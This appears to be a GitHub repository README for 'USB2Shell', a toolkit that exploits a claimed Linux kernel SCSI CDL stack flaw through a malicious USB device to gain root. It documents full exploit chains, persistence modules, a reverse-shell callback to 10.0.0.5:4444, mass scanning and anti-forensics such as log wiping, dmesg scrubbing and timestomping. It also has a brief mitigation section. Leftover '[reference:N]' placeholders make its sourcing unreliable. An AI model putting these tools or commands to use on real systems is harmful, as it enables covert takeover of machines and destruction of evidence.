Skip to content

About

USB2Shell is a Linux kernel security research project focused on CVE-2026-98232, a SCSI CDL stack out-of-bounds vulnerability triggered through malicious USB storage devices. The project provides tools for vulnerability detection, security assessment, and authorized research.

Topics

Resources

Stars

4 stars

Watchers

0 watching

Forks

Latest commit

 

History

31 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 

Repository files navigation

USB2Shell — CVE-2026-98232

Python CVE CVSS v3.1

Linux Kernel USB

Linux Kernel — USB SCSI Command Duration Limits → Root Shell

Vulnerability Overview

CVE-2026-98232 (USB2Shell) is a Linux kernel SCSI vulnerability in scsi_cdl_enable() that can cause out-of-bounds stack reads and writes. The flaw results from insufficient validation of length fields in SCSI MODE SENSE responses when processing ATA Command Duration Limits (CDL) mode pages within a 64-byte stack buffer. A malicious USB storage device advertising ATA and CDL support may trigger the vulnerability during automatic device enumeration, without requiring user interaction or filesystem mounting.

Technical Summary

  1. Malformed MODE SENSE Response: A malicious USB device returns a MODE SENSE(10) payload whose total length is shorter than its mode header and block descriptors, causing unsigned underflow in the subsequent MODE SELECT length calculation.

  2. Out-of-Bounds Stack Access: scsi_cdl_enable() calculates buf_data beyond the 64-byte stack buffer and may copy up to 64 bytes from that region into the outgoing MODE SELECT payload, disclosing kernel stack contents to the device [reference:6].

  3. KASLR Defeat: The leaked data contains potential kernel pointers. core/leak.py identifies canonical addresses (0xffffffff8...) and page-aligns them to estimate the kernel base address.

  4. Memory Corruption & Privilege Escalation: A subsequent crafted response triggers a one-byte out-of-bounds stack write [reference:8]. Combined with the leaked kernel base and offsets, this may compromise kernel control flow and credential integrity, potentially enabling root-level privilege escalation.

Impact: Kernel memory disclosure, memory corruption, and potential privilege escalation through physical USB device access.

Key Facts:

Attribute Value
Public Disclosure 30 November 2026 (Drivesec) [reference:9]
CVE Assigned October 2026 [reference:10]
Upstream Fix September 2026 [reference:11]
CVSS Score 8.4 (HIGH) [reference:12]
Codename USB2Shell
Introduced In Linux 6.5 (CDL feature) [reference:13][reference:14]
Fixed Versions 6.1.190+, 6.6.158+, 6.12.112+, 6.18.54+, 7.2.8+ (per stable branches) [reference:15][reference:16]
Authentication Physical USB port access only
Impact Kernel memory disclosure → root code execution → persistence

Warning!

This toolkit ships both a full-featured framework (exploit.py) and a minimal, low-noise script (checker.py). The full framework performs persistence (--persist) and anti-forensics (--stealth-mods) when requested. For OPSEC-sensitive engagements, prefer checker.py or run exploit.py --safecheck for read-only auditing.


exploit.py vs checker.py — Feature Comparison

Feature exploit.py (Full Framework) checker.py (Minimal)
Modes safecheck / detect / exploit / persist / mass exploit + auto-cleanup
Kernel version check (safecheck.py) Yes Yes
USB storage driver detection Yes Yes
authorized_default audit Yes Yes
KASLR leak via gadget (--detect) Yes Yes
Full ROP chain (--exploit) Yes Yes (forced)
Retry logic --retry fixed 10
Persistence modules systemd, ssh_key, cron, suid, dns_tunnel [-] No
Anti-forensics modules log_wipe, artifact_cleanup, dmesg_scrub, history_clean, timestomp log_wipe, artifact_cleanup, dmesg_scrub
Mass scanning (--mass) ThreadPoolExecutor [-] No
JSON output (-o) Yes [-] No
Log file usb2shell.log (rotating) [-] No
Verbose / quiet -v / -q [-] Quiet only
Banner Full color Full color
Custom gadget binary --gadget-bin --gadget-bin
UDC override --udc --udc
Offsets JSON --offsets --offsets
Root required Yes (/dev/raw-gadget) Yes
Python version 3.9+ 3.9+
Primary use case Full engagement: exploit + persist + clean One-shot root + clean

Complete Parameter List

exploit.py (Full Framework)

Parameter Description Example
--safecheck Detect only (default if no mode) --safecheck
--detect Detect + KASLR leak estimate --detect
--exploit Run full exploit chain --exploit
--persist Install persistence modules --persist
--mass Mass mode against targets file --mass
-t, --target Target host or port map (mass) -t targets.txt
--kernel Kernel ID override --kernel 6.12.0
--offsets Path to offsets JSON --offsets offsets/_schema.json
--gadget-bin Path to gadget binary (default: ./source/gadget/usb2shell_gadget) --gadget-bin ./usb2shell_gadget
--udc UDC name (default: dummy_udc.0) --udc dummy_udc.0
--retry Retry count (default: 10) --retry 20
--persist-mods Comma list (default: systemd,ssh_key) --persist-mods systemd,cron,suid
--lhost Reverse shell IP (persistence) --lhost 10.0.0.5
--lport Reverse shell port --lport 4444
--stealth-mods Comma list (default: log_wipe,artifact_cleanup,dmesg_scrub,history_clean) --stealth-mods log_wipe,dmesg_scrub
-o, --output Output JSON file -o results.json
-v, --verbose Verbose output -v
-q, --quiet Quiet mode -q
-h, --help Show help -h

checker.py (Minimal)

Parameter Description Example
--offsets Path to offsets JSON (required for exploit) --offsets offsets/6.12.0.json
--gadget-bin Path to gadget binary --gadget-bin ./usb2shell_gadget
--udc UDC name (default: dummy_udc.0) --udc dummy_udc.0
--retry Retry count --retry 10
-h, --help Show help -h

Notes:

  • checker.py forces exploitation after a positive safecheck.
  • On success it runs log_wipe, artifact_cleanup, and dmesg_scrub automatically.

Usage Examples

# Read-only audit: kernel version, vulnerable status, usb-storage presence, authorized_default
python3 exploit.py --safecheck

# Detect + estimate KASLR base via the gadget info leak. No code execution.
python3 exploit.py --detect --offsets offsets/6.12.0.json --gadget-bin ./gadget/usb2shell_gadget

# Full exploit chain with retry. Prints leaked base and root uid on success.
python3 exploit.py --exploit --offsets offsets/6.12.0.json --retry 20

# Exploit + systemd & cron persistence calling back to 10.0.0.5:4444
python3 exploit.py --exploit --persist --persist-mods systemd,cron --lhost 10.0.0.5 --lport 4444

# Full framework with anti-forensics and JSON report
python3 exploit.py --exploit --persist --stealth-mods log_wipe,artifact_cleanup,dmesg_scrub,history_clean -o run.json

# Mass detection against a targets file
python3 exploit.py --mass -t targets.txt -o mass.json

Minimal (one-shot root + cleanup)

# Safecheck + exploit + auto anti-forensics, no persistence, no JSON
python3 checker.py --offsets offsets/6.12.0.json --gadget-bin ./gadget/usb2shell_gadget

Technical Deep Dive

1. SCSI CDL Vulnerability

The flaw exists in scsi_cdl_enable(), where unvalidated length fields from SCSI MODE SENSE responses are used to locate the ATA feature mode page inside a 64-byte stack buffer. Malformed lengths can cause integer underflow and out-of-bounds stack access.

2. Attack Surface

  • USB Gadget: gadget/usb2shell_gadget.c emulates a USB mass-storage device using /dev/raw-gadget.
  • Memory Disclosure: Improper bounds validation can expose kernel stack data.
  • Memory Corruption: Out-of-bounds stack writes can compromise kernel integrity.

3. Post-Exploitation Components

The repository includes research modules covering:

  • Privilege Escalation: Kernel credential security.
  • Persistence: systemd, SSH keys, cron, SUID, and DNS tunneling.
  • Artifact Handling: Log management, history cleanup, kernel buffer handling, and timestamp modification.

Relevant directories: persistence/ and stealth/.

4. Defense & Detection

  • Set authorized_default=0 on USB controllers.
  • Enforce USBGuard policies.
  • Restrict unauthorized USB storage devices.
  • Monitor unexpected usb-storage and uas driver binding events.
  • Upgrade to patched kernel versions:
Kernel Branch Fixed Version
6.1 6.1.190+
6.6 6.6.158+
6.12 6.12.112+
6.18 6.18.54+
7.2 7.2.8+

References

This software is provided for educational purposes and authorized security testing only.

About

USB2Shell is a Linux kernel security research project focused on CVE-2026-98232, a SCSI CDL stack out-of-bounds vulnerability triggered through malicious USB storage devices. The project provides tools for vulnerability detection, security assessment, and authorized research.

Topics

Resources

Stars

4 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages